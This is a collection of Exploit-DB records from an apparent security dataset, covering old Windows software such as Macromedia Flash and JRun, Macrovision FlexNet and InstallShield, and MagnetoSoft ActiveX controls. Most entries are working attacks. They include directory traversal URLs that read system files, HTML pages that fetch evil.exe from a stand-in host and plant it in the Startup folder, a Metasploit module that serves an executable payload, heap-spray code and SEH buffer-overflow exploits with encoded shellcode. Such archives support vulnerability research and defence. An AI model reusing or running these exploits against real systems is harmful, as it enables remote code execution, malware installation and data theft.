deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22892
Description: Mabry Software HTTPServer/X 1.0 0.047 - File Disclosure
Type: remote
Platform: windows
Date: 2003-07-11
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/8166/info

Mabry Software HTTPServer/X is prone to directory traversal attacks. This could be exploited by a remote attacker to gain access to sensitive files on a system hosting the web server implementation.

http://www.example.com/........../windows/win.ini
http://www.example.com/........./autoexec.bat
http://www.example.com/.../.../.../.../.../.../scandisk.log
http://www.example.com/../../../../../../../../../autoexec.bat
http://www.example.com/../../../../../../../../windows/win.ini
http://www.example.com/.html/............/autoexec.bat
Exploit-DB #22022
Description: Macromedia Flash 6.0.47.0 - SWRemote Heap Corruption
Type: remote
Platform: windows
Date: 2002-11-18
Author: LOM

Exploit:
source: https://www.securityfocus.com/bid/6196/info

A buffer overrun condition has been discovered in the SWRemote parameter used in Macromedia Flash objects. By triggering the overrun it is possible for an attacker to corrupt sensitive heap memory.

Exploiting this issue may allow a remote attacker to redirect program flow to malicious shellcode, resulting in the execution of arbitrary commands with the privileges of the browser process.

This vulnerability was discovered in Macromedia Flash ActiveX 6.0.47. It is not yet known if earlier versions are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22022.zip
Exploit-DB #23298
Description: Macromedia Flash Player 6.0.x - Flash Cookie Predictable File Location
Type: remote
Platform: windows
Date: 2003-10-24
Author: Mindwarper

Exploit:
source: https://www.securityfocus.com/bid/8900/info

Macromedia Flash Player is reported to store Flash cookies (.sol files) in a predictable location on client systems. Other attacks are possible given the ability to store content on a system in a predictable location, such as referencing the content via a file:// URI. This is compounded by the fact that an attacker could include HTML and script code in the cookie, which may be interpreted by Internet Explorer or possibly other browsers. In the example of Internet Explorer, such content would be interpreted in the context of the Local Zone. Successful exploitation would still require the attacker to guess the local username of the victim.

This issue is reported to affect versions of the player for Microsoft Windows operating systems. Other versions may also be affected. Macromedia Director MX is similarly affected.

This issue affects versions of the player prior to 7.0.19.0. 

ftp://%@/../../../../Application Data/Macromedia/Flash
Player/YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol
Exploit-DB #21582
Description: Macromedia JRun 3/4 - Administrative Authentication Bypass
Type: remote
Platform: windows
Date: 2002-06-28
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5118/info

Macromedia JRun is prone to an issue which may allow remote attackers to bypass the authentication page for the admin server. This may be exploited by adding an extraneous '/' to a request for the administrative authentication page.

http://JRun-Server:8000//welcome.jsp?&action=stop&server=default

will shutdown the 'default' JRun server instance on port 8100. Other
administrative functions can also be accessed.
Exploit-DB #4913
Description: Macrovision FlexNet - 'isusweb.dll' DownloadAndExecute Method
Type: remote
Platform: windows
Date: 2008-01-15
Author: Elazar

Exploit:
<!-- 
Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, isusweb.dll version 6.1.100.61372 
-->
<html>
 <head>
  <title>Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     	      							  obj.DownloadAndExecute("Bla","{[PII_REDACTED]-[PII_REDACTED]}",0,"http://www.evilsite.com/evil.exe","evil.exe");           
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:1DF951B1-8D40-4894-A04C-66AD824A0EEF" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-15]
Exploit-DB #4909
Description: Macrovision FlexNet DownloadManager - Insecure Methods
Type: remote
Platform: windows
Date: 2008-01-14
Author: Elazar

Exploit:
<!-- 
Macrovision FlexNet DownloadManager Insecure Methods Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, ISDM.exe version 6.1.100.61372
-->
<html>
 <head>
  <title>Macrovision FlexNet DownloadManager Insecure Methods Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
	var mJob = obj.CreateJob("SomeJob",0,"{[PII_REDACTED]-[PII_REDACTED]}");
	
	mJob.AddFile("http://www.evilsite/evil.exe","C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\harmless.exe");
	mJob.SetPriority(0);
	mJob.SetNotifyFlags(2);
	mJob.ScheduleInterval = 2;
	
	obj.RunScheduledJobs();
                
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:FCED4482-7CCB-4E6F-86C9-DCB22B52843C" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-14]
Exploit-DB #16602
Description: Macrovision Installshield Update Service - ActiveX Unsafe Method (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: macrovision_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Macrovision InstallShield Update Service ActiveX Unsafe Method',
			'Description'    => %q{
				This module allows attackers to execute code via an unsafe methods in Macrovision InstallShield 2008.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2007-5660' ],
					[ 'OSVDB', '38347' ],
					[ 'BID', '26280' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 20 2007'))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(20) + 1)

		content = %Q|
			<html>
				<object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
				<script language='JavaScript'>
					#{vname}.Initialize("#{vname}","#{vname}","","");
					#{vname}.DownloadAndExecute("","",1,"#{payload_url}/#{exe}.exe","");
					#{vname}.DownloadAndInstall("True");
				</script>
			</html>
						|

		content = Rex::Text.randomize_space(content)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end
Exploit-DB #27759
Description: magiciso 5.0 build 0166 - Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-28
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/17725/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects MagicISO version 5.0 Build 0166; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin
Exploit-DB #17328
Description: Magneto ICMP ActiveX 4.0.0.20 - ICMPSendEchoRequest Remote Code Execute
Type: remote
Platform: windows
Date: 2011-05-27
Author: boahat

Exploit:
Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute
Date: 2011-5-27
Discovered by: boahat
vendor: 	http://www.magnetosoft.com/
Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe 

SKIcmp.ocx

Function ICMPSendEchoRequest (
 	ByVal bstrDestinationAddress  As String 
)  As Long

.text:1000F012                 mov     edx, [ebx+8]	// edx can be control
.text:1000F015                 lea     ecx, [esp+468h+String1]
.text:1000F019                 push    esi
.text:1000F01A                 push    ecx
.text:1000F01B                 call    edx		// bomb...

[POC]

<html>
<body>
<object classid="clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA" id="target"></object>
<script>
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var bigblock  = unescape("%u0c0c%u0c0c");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<500; x++)
        memory[x] = block + shellcode;
		
    var buffer = '';	
    while (buffer.length < 6000)
        buffer+="\x0c\x0c\x0c\x0c";
    target.ICMPSendEchoRequest(buffer);
</script>
</body>
</html>


# Exploit-DB Note:
# According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1.
# The latest version that contains the fix can be downloaded here:
# http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe
Exploit-DB #12248
Description: Magneto Net Resource ActiveX 4.0.0.5 - 'NetConnectionEnum' Universal
Type: remote
Platform: windows
Date: 2010-04-15
Author: dookie

Exploit:
<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Software Net Resource ActiveX v4.0.0.5 NetConnectionEnum SEH Exploit (Universal)
'Author: dookie
'Original PoC by:  s4squatch  - http://www.exploit-db.com/exploits/12208
'Vendor:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'SKNetResource.ocx
'Function NetConnectionEnum ( ByVal strServerName As String ,  ByVal strQualifier As String ,  ByRef pvarNetConnectionInfo As Variant ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"

'win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
                        unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
                        unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
                        unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
                        unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
                        unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
                        unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
                        unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
                        unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
                        unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
                        unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
                        unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
                        unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
                        unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
                        unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
                        unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
                        unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
                        unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
                        unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
                        unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
                        unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
                        unescape("%50%68")
 
'SEH overwrite - Around 500 bytes for shellcode

lead = String(502, "A")
nseh = unescape("%eb%06%90%90")
seh = unescape("%bc%08%01%10")  ' 100108BC p/p/r in SKNetResource.ocx
trailer = String(162, "B")

buff = lead + nseh + seh + shellcode + trailer
 
arg1 = buff
arg2 = "defaultV"
arg3 = "defaultV"
target.NetConnectionEnum arg1 ,arg2 ,arg3
 
</script>
Exploit-DB #12247
Description: Magneto Net Resource ActiveX 4.0.0.5 - 'NetFileClose' Universal
Type: remote
Platform: windows
Date: 2010-04-15
Author: dookie

Exploit:
<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Software Net Resource ActiveX v4.0.0.5 NetFileClose SEH Exploit (Universal)
'Author: dookie
'Original PoC by:  s4squatch  - http://www.exploit-db.com/exploits/12206
'Vendor:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'SKNetResource.ocx
'Function NetFileClose ( ByVal strServerName As String ,  ByVal dwFileId As Long ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"
 
'win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
                        unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
                        unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
                        unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
                        unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
                        unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
                        unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
                        unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
                        unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
                        unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
                        unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
                        unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
                        unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
                        unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
                        unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
                        unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
                        unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
                        unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
                        unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
                        unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
                        unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
                        unescape("%50%68") 
 
'SEH overwrite - Around 620 Bytes for Shellcode
lead = String(394, "A")
nseh = unescape("%eb%06%90%90")
seh = unescape("%bc%08%01%10")  ' 100108BC p/p/r in SKNetResource.ocx
trailer = String(312, "B")

arg1 = lead + nseh + seh + shellcode + trailer
arg2=1
target.NetFileClose arg1 ,arg2
 
</script>
Exploit-DB #12250
Description: Magneto Net Resource ActiveX 4.0.0.5 - 'NetShareEnum' Universal
Type: remote
Platform: windows
Date: 2010-04-15
Author: dookie

Exploit:
<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Net Resource ActiveX v4.0.0.5 NetShareEnum Exploit (Universal) 
'Author: dookie
'Original PoC by:  s4squatch  - http://www.exploit-db.com/exploits/12207
'Vendor:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'Control: SKNetResource.ocx
'Function NetShareEnum ( ByVal strServerName As String ,  ByRef pvarNetShareInfo As Variant ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"

'win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
                        unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
                        unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
                        unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
                        unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
                        unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
                        unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
                        unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
                        unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
                        unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
                        unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
                        unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
                        unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
                        unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
                        unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
                        unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
                        unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
                        unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
                        unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
                        unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
                        unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
                        unescape("%50%68")

lead = String(482, "A")
nseh = unescape("%eb%06%90%90")
seh = unescape("%bc%08%01%10")  ' 100108BC p/p/r in SKNetResource.ocx
trailer = String(216, "B")

arg1= lead + nseh + seh + shellcode + trailer
arg2="defaultV"

target.NetShareEnum arg1 ,arg2

</script>
Exploit-DB #12202
Description: MagnetoSoft ICMP 4.0.0.18 - ActiveX AddDestinationEntry Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-13
Author: s4squatch

Exploit:
<html>
<object classid='clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA' id='target'></object>
<script language='vbscript'>
'Magneto Software ICMP ActiveX Control Buffer Overflow
'Discovered by:  s4squatch
'website:  www.securestate.com
'Date Discovered: 03/11/09
'Exploit Written: 02/02/10
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'www:  http://www.magnetosoft.com/products/skicmp/skicmp_features.htm
'Download:  http://www.magnetosoft.com/downloads/skicmp_setup.exe
'SKIcmp.ocx
'Function AddDestinationAddressEntry ( ByVal bstrDestinationAddress As String ) As Long
'progid = "SKICMPLib.SKIcmp"

buff1 = String(199, "A")													'buff
ecx = unescape("%f3%30%9d%7c")										'fix up ecx since with a valid address since it gets trashed
buff2 = String(8, "B")														'buff
eip = unescape("%f3%30%9d%7c")										'jmp esp 7c9d30f3 shell32.dll XP SP3 fully patched
nopsled = String(16, unescape("%90"))

'win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode =	unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
						unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
						unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
						unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
						unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
						unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
						unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
						unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
						unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
						unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
						unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
						unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
						unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
						unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
						unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
						unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
						unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
						unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
						unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
						unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
						unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
						unescape("%50%68")

statics_wet_dream = buff1 + ecx + buff2 + eip + nopsled + shellcode

target.AddDestinationAddressEntry statics_wet_dream
</script>